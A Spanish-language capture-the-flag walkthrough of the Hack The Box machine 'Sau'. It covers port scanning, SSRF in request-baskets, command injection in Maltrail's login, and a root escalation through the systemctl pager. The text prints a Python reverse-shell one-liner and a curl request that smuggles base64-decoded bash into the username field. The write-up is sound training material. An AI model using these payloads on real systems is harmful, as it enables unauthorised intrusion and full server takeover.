Sau
Table of contents
Enumeracion
Iniciamos con un escaneo de nmap con:
nmap -sS -n -Pn -T4 --open -p- 10.10.11.224
sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si el puerto esta abierto
n: para que no haga resolucion DNS y tarde menos el escaneo
Pn: para evitar el descubrimiento de hosts
open: para que solo muestre los puertos abiertos
-p-: para que escanee todo el rango de puertos
Y nos reporto el puerto 22 (SSH) y 55555:
PORT STATE SERVICE
22/tcp open ssh
55555/tcp open unknown
Adicionalmente, si mostramos los puertos filtrados, nos saldra el puerto 80
80/tcp filtered http
Ahora escanearemos para obtener mas informacion sobre la version y el servicio que estan corriendo bajo esos puertos. En el puerto 55555 nos mostrara que encontro informacion de un sitio web y el recurso web:
nmap -sCV -p22,22,55555 10.10.11.224
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 02 Jan 2024 22:20:01 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Tue, 02 Jan 2024 22:19:33 GMT
| Content-Length: 27
| href="/web">Found</a>. <-- recurso de un sitio web
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Tue, 02 Jan 2024 22:19:34 GMT
|_ Content-Length: 0
Analisis del puerto 55555
El puerto 55555 corresponde a un servidor web, por defecto nos manda al recurso web como se puede ver:
Si vemos en el footer del sitio, aparecera que esta usando request-baskets es una version
Powered by request-baskets | Version: 1.2.1
Al realizar una busqueda en google, podemos notar que es vulnerable a SSRF
Nos menciona que esta vulnerabilidad nos permite acceder a recursos internos a travez de una peticion a la API que ejecuta por detras request-baskets
Analizando un poco mas las opciones del sitio, nos encontramos que podemos crear baskets y luego acceder a ellas mediante una URL. Al explorar una basket creada, podemos ver las solicitudes que se han echo asi como mas informacion, tambieb modificar algunas cosas de configuracion:
Tenemos la capacidad de hacer URL forwarding, es decir, hacer una redireccion a una URL.
SSRF - access port 80
SSRF: Server-side request forgery es una vulnerabilidad que permite a los atancantes realizar peticiones arbitrarias con el fin de acceder a servicios internos de la maquina.
Recapitulando, debido a que tenemos un SSRF, una redireccion URL, y el puerto 80 filtrado, podemos intentar modificar la configuracion de una basket de esta forma:
Lo que estaria pasando, es que cuando nosotros ingresemos a la URL que se genero cuando se crea un basket, esa peticion se estaria redireccionado a 127.0.0.1:80, y como existe un SSRF, estariamos accediendo al servicio interno de la maquina que corre en 127.0.0.1:80, lo cual indica que el SSRF se exploto correctamente como se puede ver
RCE - Maltrail (v0.53)
Como se observa al final, se esta usando la version 0.53 de Maltrail, al realizar una busqueda rapida en google, nos daremos cuenta que que podemos explotar una vulnerabilidad para conseguir RCE, leyendo un poco de la vulnerabilidad, el parametro username del recurso login no se sanitiza correctamente, lo cual permie que podamos inyectar comandos, por lo cual podemos explotarla directamente usando curl:
Usaremos python para crear una revese shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>", <puerto>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Recuerda cambiar la IP y el puerto
Luego lo codificaremos en b64 y usaremos este comando para enviar una peticion por POST y en el parametro username le encadenamos el comando
curl -X POST "http://10.10.11.224:55555/dihpeef/login" -d "username=;$(echo "<base 64>" | base64 -d | bash)"
La URL debe ser por una basket que hayas creado y obtendremos una conexion
(A este punto tenemos la flag de user)
Escalada de privilegios
Si vemos los permisos de nivel de sudoers, podremos ver que el usuario puma puede ejecutar systemctl sin contraseña:
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Debido a que cuando ejecutamos comando con systemctl usa una interfaz o vista similar a la del comando less, podemos inyectar comando al final de la vista de systemctl de la siguiente manera
Observa como al final de la vista o cuando termina la informacion mostrada, se le ingresa el comando que queremos ejecutar, en este caso fue !bash (ignorar el WARNING: terminal is not fully functional, no la hice fully interactive TTY)
Con eso hemos conseguido root
Eso ha sido todo, gracias por leer ❤